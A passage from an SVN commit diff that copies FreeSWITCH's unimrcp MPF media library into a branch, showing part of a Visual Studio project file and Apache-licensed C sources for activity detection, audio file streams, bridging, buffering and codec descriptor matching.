+			<File
+				RelativePath=".\include\mpf_codec_manager.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_context.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_decoder.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_encoder.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_engine.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_file_termination_factory.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_frame.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_frame_buffer.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_jitter_buffer.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_media_descriptor.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_message.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_object.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_rtp_attribs.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_rtp_defs.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_rtp_descriptor.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_rtp_header.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_rtp_stat.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_rtp_stream.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_rtp_termination_factory.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_stream.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_stream_mode.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_termination.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_timer.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_types.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_user.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			>
+			<File
+				RelativePath=".\src\mpf_activity_detector.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mpf_audio_file_stream.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mpf_bridge.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mpf_buffer.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mpf_codec_descriptor.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mpf_codec_g711.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mpf_codec_linear.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mpf_codec_manager.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mpf_context.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mpf_decoder.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mpf_encoder.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mpf_engine.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mpf_file_termination_factory.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mpf_frame_buffer.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mpf_jitter_buffer.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mpf_rtp_attribs.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mpf_rtp_stream.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mpf_rtp_termination_factory.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mpf_termination.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mpf_timer.c"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_activity_detector.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_activity_detector.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/src/mpf_activity_detector.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_activity_detector.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_activity_detector.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,172 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mpf_activity_detector.h"
+#include "apt_log.h"
+
+/** Detector states */
+typedef enum {
+	DETECTOR_STATE_INACTIVITY,           /**< inactivity detected */
+	DETECTOR_STATE_ACTIVITY_TRANSITION,  /**< activity detection is in-progress */
+	DETECTOR_STATE_ACTIVITY,             /**< activity detected */
+	DETECTOR_STATE_INACTIVITY_TRANSITION /**< inactivity detection is in-progress */
+} mpf_detector_state_e;
+
+/** Activity detector */
+struct mpf_activity_detector_t {
+	/* voice activity (silence) level threshold */
+	apr_size_t level_threshold;
+
+	/* period of activity/inactivity required to complete/raise an event */
+	apr_size_t complete_timeout;
+	/* noinput timeout */
+	apr_size_t noinput_timeout;
+
+	/* current state */
+	apt_bool_t state;
+	/* duration spent in current state  */
+	apr_size_t duration;
+};
+
+/** Create activity detector */
+MPF_DECLARE(mpf_activity_detector_t*) mpf_activity_detector_create(apr_pool_t *pool)
+{
+	mpf_activity_detector_t *detector = apr_palloc(pool,sizeof(mpf_activity_detector_t));
+	detector->level_threshold = 2; /* 0 .. 255 */
+	detector->complete_timeout = 300; /* 0.3 s */
+	detector->noinput_timeout = 5000; /* 5 s */
+	detector->duration = 0;
+	detector->state = DETECTOR_STATE_INACTIVITY;
+	return detector;
+}
+
+/** Reset activity detector */
+MPF_DECLARE(void) mpf_activity_detector_reset(mpf_activity_detector_t *detector)
+{
+	detector->duration = 0;
+	detector->state = DETECTOR_STATE_INACTIVITY;
+}
+
+/** Set threshold of voice activity (silence) level */
+MPF_DECLARE(void) mpf_activity_detector_level_set(mpf_activity_detector_t *detector, apr_size_t level_threshold)
+{
+	detector->level_threshold = level_threshold;
+}
+
+/** Set noinput timeout */
+MPF_DECLARE(void) mpf_activity_detector_noinput_timeout_set(mpf_activity_detector_t *detector, apr_size_t noinput_timeout)
+{
+	detector->noinput_timeout = noinput_timeout;
+}
+
+/** Set transition complete timeout */
+MPF_DECLARE(void) mpf_activity_detector_complete_timeout_set(mpf_activity_detector_t *detector, apr_size_t complete_timeout)
+{
+	detector->complete_timeout = complete_timeout;
+}
+
+
+static APR_INLINE void mpf_activity_detector_state_change(mpf_activity_detector_t *detector, mpf_detector_state_e state)
+{
+	detector->duration = 0;
+	detector->state = state;
+}
+
+static apr_size_t mpf_activity_detector_level_calculate(const mpf_frame_t *frame)
+{
+	apr_size_t sum = 0;
+	apr_size_t count = frame->codec_frame.size/2;
+	const apr_int16_t *cur = frame->codec_frame.buffer;
+	const apr_int16_t *end = cur + count;
+
+	for(; cur < end; cur++) {
+		if(*cur < 0) {
+			sum -= *cur;
+		}
+		else {
+			sum += *cur;
+		}
+	}
+
+	return sum / count;
+}
+
+/** Process current frame */
+MPF_DECLARE(mpf_detector_event_e) mpf_activity_detector_process(mpf_activity_detector_t *detector, const mpf_frame_t *frame)
+{
+	mpf_detector_event_e det_event = MPF_DETECTOR_EVENT_NONE;
+	apr_size_t level = 0;
+	if((frame->type & MEDIA_FRAME_TYPE_AUDIO) == MEDIA_FRAME_TYPE_AUDIO) {
+		/* first, calculate current activity level of processed frame */
+		level = mpf_activity_detector_level_calculate(frame);
+#if 0
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Activity Detector [%d]",level);
+#endif
+	}
+
+	if(detector->state == DETECTOR_STATE_INACTIVITY) {
+		if(level >= detector->level_threshold) {
+			/* start to detect activity */
+			mpf_activity_detector_state_change(detector,DETECTOR_STATE_ACTIVITY_TRANSITION);
+		}
+		else {
+			detector->duration += CODEC_FRAME_TIME_BASE;
+			if(detector->duration >= detector->noinput_timeout) {
+				/* detected noinput */
+				det_event = MPF_DETECTOR_EVENT_NOINPUT;
+			}
+		}
+	}
+	else if(detector->state == DETECTOR_STATE_ACTIVITY_TRANSITION) {
+		if(level >= detector->level_threshold) {
+			detector->duration += CODEC_FRAME_TIME_BASE;
+			if(detector->duration >= detector->complete_timeout) {
+				/* finally detected activity */
+				det_event = MPF_DETECTOR_EVENT_ACTIVITY;
+				mpf_activity_detector_state_change(detector,DETECTOR_STATE_ACTIVITY);
+			}
+		}
+		else {
+			/* fallback to inactivity */
+			mpf_activity_detector_state_change(detector,DETECTOR_STATE_INACTIVITY);
+		}
+	}
+	else if(detector->state == DETECTOR_STATE_ACTIVITY) {
+		if(level >= detector->level_threshold) {
+			detector->duration += CODEC_FRAME_TIME_BASE;
+		}
+		else {
+			/* start to detect inactivity */
+			mpf_activity_detector_state_change(detector,DETECTOR_STATE_INACTIVITY_TRANSITION);
+		}
+	}
+	else if(detector->state == DETECTOR_STATE_INACTIVITY_TRANSITION) {
+		if(level >= detector->level_threshold) {
+			/* fallback to activity */
+			mpf_activity_detector_state_change(detector,DETECTOR_STATE_ACTIVITY);
+		}
+		else {
+			detector->duration += CODEC_FRAME_TIME_BASE;
+			if(detector->duration >= detector->complete_timeout) {
+				/* detected inactivity */
+				det_event = MPF_DETECTOR_EVENT_INACTIVITY;
+				mpf_activity_detector_state_change(detector,DETECTOR_STATE_INACTIVITY);
+			}
+		}
+	}
+
+	return det_event;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_audio_file_stream.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_audio_file_stream.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/src/mpf_audio_file_stream.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_audio_file_stream.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_audio_file_stream.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,168 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mpf_audio_file_stream.h"
+#include "mpf_termination.h"
+#include "mpf_frame.h"
+#include "mpf_codec_manager.h"
+#include "apt_log.h"
+
+/** Audio file stream */
+typedef struct mpf_audio_file_stream_t mpf_audio_file_stream_t;
+struct mpf_audio_file_stream_t {
+	mpf_audio_stream_t *audio_stream;
+
+	FILE               *read_handle;
+	FILE               *write_handle;
+
+	apt_bool_t          eof;
+	apr_size_t          max_write_size;
+	apr_size_t          cur_write_size;
+};
+
+static APR_INLINE void mpf_audio_file_event_raise(mpf_audio_stream_t *stream, int event_id, void *descriptor);
+
+
+static apt_bool_t mpf_audio_file_destroy(mpf_audio_stream_t *stream)
+{
+	mpf_audio_file_stream_t *file_stream = stream->obj;
+	if(file_stream->read_handle) {
+		fclose(file_stream->read_handle);
+		file_stream->read_handle = NULL;
+	}
+	if(file_stream->write_handle) {
+		fclose(file_stream->write_handle);
+		file_stream->write_handle = NULL;
+	}
+	return TRUE;
+}
+
+static apt_bool_t mpf_audio_file_reader_open(mpf_audio_stream_t *stream)
+{
+	return TRUE;
+}
+
+static apt_bool_t mpf_audio_file_reader_close(mpf_audio_stream_t *stream)
+{
+	return TRUE;
+}
+
+static apt_bool_t mpf_audio_file_frame_read(mpf_audio_stream_t *stream, mpf_frame_t *frame)
+{
+	mpf_audio_file_stream_t *file_stream = stream->obj;
+	if(file_stream->read_handle && file_stream->eof == FALSE) {
+		if(fread(frame->codec_frame.buffer,1,frame->codec_frame.size,file_stream->read_handle) == frame->codec_frame.size) {
+			frame->type = MEDIA_FRAME_TYPE_AUDIO;
+		}
+		else {
+			file_stream->eof = TRUE;
+			mpf_audio_file_event_raise(stream,0,NULL);
+		}
+	}
+	return TRUE;
+}
+
+
+static apt_bool_t mpf_audio_file_writer_open(mpf_audio_stream_t *stream)
+{
+	return TRUE;
+}
+
+static apt_bool_t mpf_audio_file_writer_close(mpf_audio_stream_t *stream)
+{
+	return TRUE;
+}
+
+static apt_bool_t mpf_audio_file_frame_write(mpf_audio_stream_t *stream, const mpf_frame_t *frame)
+{
+	mpf_audio_file_stream_t *file_stream = stream->obj;
+	if(file_stream->write_handle && 
+		(!file_stream->max_write_size || file_stream->cur_write_size < file_stream->max_write_size)) {
+		file_stream->cur_write_size += fwrite(
+										frame->codec_frame.buffer,
+										1,
+										frame->codec_frame.size,
+										file_stream->write_handle);
+		if(file_stream->cur_write_size >= file_stream->max_write_size) {
+			mpf_audio_file_event_raise(stream,0,NULL);
+		}
+	}
+	return TRUE;
+}
+
+static const mpf_audio_stream_vtable_t vtable = {
+	mpf_audio_file_destroy,
+	mpf_audio_file_reader_open,
+	mpf_audio_file_reader_close,
+	mpf_audio_file_frame_read,
+	mpf_audio_file_writer_open,
+	mpf_audio_file_writer_close,
+	mpf_audio_file_frame_write
+};
+
+MPF_DECLARE(mpf_audio_stream_t*) mpf_file_stream_create(mpf_termination_t *termination, apr_pool_t *pool)
+{
+	mpf_audio_file_stream_t *file_stream = apr_palloc(pool,sizeof(mpf_audio_file_stream_t));
+	file_stream->audio_stream = mpf_audio_stream_create(file_stream,&vtable,STREAM_MODE_NONE,pool);
+	file_stream->audio_stream->termination = termination;
+
+	file_stream->write_handle = NULL;
+	file_stream->read_handle = NULL;
+	file_stream->eof = FALSE;
+	file_stream->max_write_size = 0;
+	file_stream->cur_write_size = 0;
+	return file_stream->audio_stream;
+}
+
+MPF_DECLARE(apt_bool_t) mpf_file_stream_modify(mpf_audio_stream_t *stream, mpf_audio_file_descriptor_t *descriptor)
+{
+	mpf_audio_file_stream_t *file_stream = stream->obj;
+	if(descriptor->mask & FILE_READER) {
+		if(file_stream->read_handle) {
+			fclose(file_stream->read_handle);
+		}
+		file_stream->read_handle = descriptor->read_handle;
+		file_stream->eof = FALSE;
+		stream->mode |= FILE_READER;
+
+		stream->rx_codec = mpf_codec_manager_codec_get(
+								stream->termination->codec_manager,
+								&descriptor->codec_descriptor,
+								stream->termination->pool);
+	}
+	if(descriptor->mask & FILE_WRITER) {
+		if(file_stream->write_handle) {
+			fclose(file_stream->write_handle);
+		}
+		file_stream->write_handle = descriptor->write_handle;
+		file_stream->max_write_size = descriptor->max_write_size;
+		file_stream->cur_write_size = 0;
+		stream->mode |= FILE_WRITER;
+
+		stream->tx_codec = mpf_codec_manager_codec_get(
+								stream->termination->codec_manager,
+								&descriptor->codec_descriptor,
+								stream->termination->pool);
+	}
+	return TRUE;
+}
+
+static APR_INLINE void mpf_audio_file_event_raise(mpf_audio_stream_t *stream, int event_id, void *descriptor)
+{
+	if(stream->termination->event_handler) {
+		stream->termination->event_handler(stream->termination,event_id,descriptor);
+	}
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_bridge.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_bridge.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/src/mpf_bridge.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_bridge.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_bridge.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,112 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mpf_bridge.h"
+#include "mpf_stream.h"
+#include "apt_log.h"
+
+static apt_bool_t mpf_bridge_process(mpf_object_t *object)
+{
+	object->frame.type = MEDIA_FRAME_TYPE_NONE;
+	object->source->vtable->read_frame(object->source,&object->frame);
+	
+	if((object->frame.type & MEDIA_FRAME_TYPE_AUDIO) == 0) {
+		memset(	object->frame.codec_frame.buffer,
+				0,
+				object->frame.codec_frame.size);
+	}
+
+	object->sink->vtable->write_frame(object->sink,&object->frame);
+	return TRUE;
+}
+
+static apt_bool_t mpf_null_bridge_process(mpf_object_t *object)
+{
+	object->frame.type = MEDIA_FRAME_TYPE_NONE;
+	object->source->vtable->read_frame(object->source,&object->frame);
+	object->sink->vtable->write_frame(object->sink,&object->frame);
+	return TRUE;
+}
+
+
+static apt_bool_t mpf_bridge_destroy(mpf_object_t *object)
+{
+	mpf_object_t *bridge = object;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Destroy Audio Bridge");
+	mpf_audio_stream_rx_close(bridge->source);
+	mpf_audio_stream_tx_close(bridge->sink);
+	return TRUE;
+}
+
+static mpf_object_t* mpf_bridge_base_create(mpf_audio_stream_t *source, mpf_audio_stream_t *sink, apr_pool_t *pool)
+{
+	mpf_object_t *bridge;
+	if(!source || !sink) {
+		return NULL;
+	}
+
+	bridge = apr_palloc(pool,sizeof(mpf_object_t));
+	bridge->source = source;
+	bridge->sink = sink;
+	bridge->process = mpf_bridge_process;
+	bridge->destroy = mpf_bridge_destroy;
+
+	if(mpf_audio_stream_rx_open(source) == FALSE) {
+		return NULL;
+	}
+	if(mpf_audio_stream_tx_open(sink) == FALSE) {
+		mpf_audio_stream_rx_close(source);
+		return NULL;
+	}
+	return bridge;
+}
+
+MPF_DECLARE(mpf_object_t*) mpf_bridge_create(mpf_audio_stream_t *source, mpf_audio_stream_t *sink, apr_pool_t *pool)
+{
+	mpf_codec_descriptor_t *descriptor;
+	apr_size_t frame_size;
+	mpf_object_t *bridge;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Create Audio Bridge");
+	bridge = mpf_bridge_base_create(source,sink,pool);
+	if(!bridge) {
+		return NULL;
+	}
+
+	descriptor = source->rx_codec->descriptor;
+	frame_size = mpf_codec_linear_frame_size_calculate(descriptor->sampling_rate,descriptor->channel_count);
+	bridge->frame.codec_frame.size = frame_size;
+	bridge->frame.codec_frame.buffer = apr_palloc(pool,frame_size);
+	return bridge;
+}
+
+MPF_DECLARE(mpf_object_t*) mpf_null_bridge_create(mpf_audio_stream_t *source, mpf_audio_stream_t *sink, apr_pool_t *pool)
+{
+	mpf_codec_t *codec;
+	apr_size_t frame_size;
+	mpf_object_t *bridge;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Create Audio Null Bridge");
+	bridge = mpf_bridge_base_create(source,sink,pool);
+	if(!bridge) {
+		return NULL;
+	}
+	bridge->process = mpf_null_bridge_process;
+
+	codec = source->rx_codec;
+	frame_size = mpf_codec_frame_size_calculate(codec->descriptor,codec->attribs);
+	bridge->frame.codec_frame.size = frame_size;
+	bridge->frame.codec_frame.buffer = apr_palloc(pool,frame_size);
+	return bridge;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_buffer.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_buffer.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/src/mpf_buffer.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_buffer.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_buffer.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,171 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifdef WIN32
+#pragma warning(disable: 4127)
+#endif
+#include <apr_ring.h>
+#include "mpf_buffer.h"
+
+typedef struct mpf_chunk_t mpf_chunk_t;
+
+struct mpf_chunk_t {
+	APR_RING_ENTRY(mpf_chunk_t) link;
+	mpf_frame_t                 frame;
+};
+
+struct mpf_buffer_t {
+	APR_RING_HEAD(mpf_chunk_head_t, mpf_chunk_t) head;
+	mpf_chunk_t                                 *cur_chunk;
+	apr_size_t                                   remaining_chunk_size;
+	apr_thread_mutex_t                          *guard;
+	apr_pool_t                                  *pool;
+	apr_size_t                                   size; /* total size */
+};
+
+mpf_buffer_t* mpf_buffer_create(apr_pool_t *pool)
+{
+	mpf_buffer_t *buffer = apr_palloc(pool,sizeof(mpf_buffer_t));
+	buffer->pool = pool;
+	buffer->cur_chunk = NULL;
+	buffer->remaining_chunk_size = 0;
+	buffer->size = 0;
+	APR_RING_INIT(&buffer->head, mpf_chunk_t, link);
+	apr_thread_mutex_create(&buffer->guard,APR_THREAD_MUTEX_UNNESTED,pool);
+	return buffer;
+}
+
+void mpf_buffer_destroy(mpf_buffer_t *buffer)
+{
+	if(buffer->guard) {
+		apr_thread_mutex_destroy(buffer->guard);
+		buffer->guard = NULL;
+	}
+}
+
+apt_bool_t mpf_buffer_restart(mpf_buffer_t *buffer)
+{
+	apr_thread_mutex_lock(buffer->guard);
+	APR_RING_INIT(&buffer->head, mpf_chunk_t, link);
+	apr_thread_mutex_unlock(buffer->guard);
+	return TRUE;
+}
+
+static APR_INLINE apt_bool_t mpf_buffer_chunk_write(mpf_buffer_t *buffer, mpf_chunk_t *chunk)
+{
+	APR_RING_INSERT_TAIL(&buffer->head,chunk,mpf_chunk_t,link);
+	return TRUE;
+}
+
+static APR_INLINE mpf_chunk_t* mpf_buffer_chunk_read(mpf_buffer_t *buffer)
+{
+	mpf_chunk_t *chunk = NULL;
+	if(!APR_RING_EMPTY(&buffer->head,mpf_chunk_t,link)) {
+		chunk = APR_RING_FIRST(&buffer->head);
+		APR_RING_REMOVE(chunk,link);
+	}
+	return chunk;
+}
+
+apt_bool_t mpf_buffer_audio_write(mpf_buffer_t *buffer, void *data, apr_size_t size)
+{
+	mpf_chunk_t *chunk;
+	apt_bool_t status = TRUE;
+	apr_thread_mutex_lock(buffer->guard);
+
+	chunk = apr_palloc(buffer->pool,sizeof(mpf_chunk_t));
+	chunk->frame.codec_frame.buffer = apr_palloc(buffer->pool,size);
+	memcpy(chunk->frame.codec_frame.buffer,data,size);
+	chunk->frame.codec_frame.size = size;
+	chunk->frame.type = MEDIA_FRAME_TYPE_AUDIO;
+	status = mpf_buffer_chunk_write(buffer,chunk);
+	
+	buffer->size += size;
+	apr_thread_mutex_unlock(buffer->guard);
+	return status;
+}
+
+apt_bool_t mpf_buffer_event_write(mpf_buffer_t *buffer, mpf_frame_type_e event_type)
+{
+	mpf_chunk_t *chunk;
+	apt_bool_t status = TRUE;
+	apr_thread_mutex_lock(buffer->guard);
+
+	chunk = apr_palloc(buffer->pool,sizeof(mpf_chunk_t));
+	chunk->frame.codec_frame.buffer = NULL;
+	chunk->frame.codec_frame.size = 0;
+	chunk->frame.type = event_type;
+	status = mpf_buffer_chunk_write(buffer,chunk);
+	
+	apr_thread_mutex_unlock(buffer->guard);
+	return status;
+}
+
+apt_bool_t mpf_buffer_frame_read(mpf_buffer_t *buffer, mpf_frame_t *media_frame)
+{
+	mpf_codec_frame_t *dest;
+	mpf_codec_frame_t *src;
+	apr_size_t remaining_frame_size = media_frame->codec_frame.size;
+	apr_thread_mutex_lock(buffer->guard);
+	do {
+		if(!buffer->cur_chunk) {
+			buffer->cur_chunk = mpf_buffer_chunk_read(buffer);
+			if(!buffer->cur_chunk) {
+				/* buffer is empty */
+				break;
+			}
+			buffer->remaining_chunk_size = buffer->cur_chunk->frame.codec_frame.size;
+		}
+
+		dest = &media_frame->codec_frame;
+		src = &buffer->cur_chunk->frame.codec_frame;
+		media_frame->type |= buffer->cur_chunk->frame.type;
+		if(remaining_frame_size < buffer->remaining_chunk_size) {
+			/* copy remaining_frame_size */
+			memcpy(
+				(char*)dest->buffer + dest->size - remaining_frame_size,
+				(char*)src->buffer + src->size - buffer->remaining_chunk_size,
+				remaining_frame_size);
+			buffer->remaining_chunk_size -= remaining_frame_size;
+			buffer->size -= remaining_frame_size;
+			remaining_frame_size = 0;
+		}
+		else {
+			/* copy remaining_chunk_size and proceed to the next chunk */
+			memcpy(
+				(char*)dest->buffer + dest->size - remaining_frame_size,
+				(char*)src->buffer + src->size - buffer->remaining_chunk_size,
+				buffer->remaining_chunk_size);
+			remaining_frame_size -= buffer->remaining_chunk_size;
+			buffer->size -= buffer->remaining_chunk_size;
+			buffer->remaining_chunk_size = 0;
+			buffer->cur_chunk = NULL;
+		}
+	}
+	while(remaining_frame_size);
+
+	if(remaining_frame_size) {
+		apr_size_t offset = media_frame->codec_frame.size - remaining_frame_size;
+		memset((char*)media_frame->codec_frame.buffer + offset, 0, remaining_frame_size);
+	}
+	apr_thread_mutex_unlock(buffer->guard);
+	return TRUE;
+}
+
+apr_size_t mpf_buffer_get_size(mpf_buffer_t *buffer)
+{
+	return buffer->size;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_codec_descriptor.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_codec_descriptor.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/src/mpf_codec_descriptor.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_codec_descriptor.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_codec_descriptor.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,73 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mpf_codec_descriptor.h"
+
+/** Match two codec descriptors */
+MPF_DECLARE(apt_bool_t) mpf_codec_descriptor_match(const mpf_codec_descriptor_t *descriptor1, const mpf_codec_descriptor_t *descriptor2)
+{
+	apt_bool_t match = FALSE;
+	if(descriptor1->payload_type < 96 && descriptor2->payload_type < 96) {
+		if(descriptor1->payload_type == descriptor2->payload_type) {
+			match = TRUE;
+		}
+	}
+	else {
+		if(apt_string_compare(&descriptor1->name,&descriptor2->name) == TRUE) {
+			if(descriptor1->sampling_rate == descriptor2->sampling_rate && 
+				descriptor1->channel_count == descriptor2->channel_count) {
+				match = TRUE;
+			}
+		}
+	}
+	return match;
+}
+
+/** Intersect two codec lists */
+MPF_DECLARE(apt_bool_t) mpf_codec_list_intersect(mpf_codec_list_t *codec_list1, mpf_codec_list_t *codec_list2)
+{
+	int i;
+	int j;
+	mpf_codec_descriptor_t *descriptor1;
+	mpf_codec_descriptor_t *descriptor2;
+	codec_list1->preffered = NULL;
+	codec_list2->preffered = NULL;
+	/* find only one match, set the matched codec as preffered, disable the others */
+	for(i=0; i<codec_list1->descriptor_arr->nelts; i++) {
+		descriptor1 = (mpf_codec_descriptor_t*)codec_list1->descriptor_arr->elts + i;
+		if(codec_list1->preffered) {
+			descriptor1->enabled = FALSE;
+			continue;
+		}
+
+		for(j=0; j<codec_list2->descriptor_arr->nelts; j++) {
+			descriptor2 = (mpf_codec_descriptor_t*)codec_list2->descriptor_arr->elts + j;
+
+			descriptor1->enabled = mpf_codec_descriptor_match(descriptor1,descriptor2);
+			if(descriptor1->enabled == TRUE) {
+				codec_list1->preffered = descriptor1;
+				codec_list2->preffered = descriptor2;
+				break;
+			}
+		}
+	}
+	for(j=0; j<codec_list2->descriptor_arr->nelts; j++) {
+		descriptor2 = (mpf_codec_descriptor_t*)codec_list2->descriptor_arr->elts + j;
+		descriptor2->enabled = (codec_list2->preffered == descriptor2) ? TRUE : FALSE;
+	}
+
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_codec_g711.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_codec_g711.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/src/mpf_codec_g711.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_codec_g711.c	                        (rev 0)
